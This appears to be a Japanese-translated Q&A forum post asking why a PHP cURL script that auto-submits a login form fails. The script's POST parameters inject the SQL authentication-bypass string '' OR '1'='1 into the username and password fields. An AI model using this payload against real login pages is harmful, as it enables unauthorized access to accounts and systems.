PHPとcURLを介してログインフォームに自動的にログインしようとしているだけです
私は持っている:
<?php
# get url to form
$url = "http://thesite.com/login.php";
$ch = curl_init($url); # initialize that form
#run value of $_POST variable in form fields from above url.
$params = "username='' OR '1'='1&password='' OR '1'='1&login-php-submit-button=submit";
## set cURL options
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params); #set parameter $_POST fields
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (!$response) {
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch); // make sure we closeany current curl sessions
die(stripslashes($http_code.' Can\'t connect to server.'));
}
//curl_close($ch); // close curl session
## echo the result from cURL 'ing
echo $response;
curl_close($ch);
?>
このスクリプトにアクセスすると$url
、URL にアクセスしたかのように値が表示されるだけで、「間違ったパス」などのエラー メッセージは表示されません。
$params
ここで正しく設定されていない可能性があるように感じます。私はこれを機能させるために執拗に試みました。現在、値の設定は次の$params
とおりです。
formnameofinputvalue = valueToInputIntoFormElement
&
&で各 formInputName=formInputValue を区切ります
ここで私が間違っていることを誰かが見ていますか?ありがとうございました。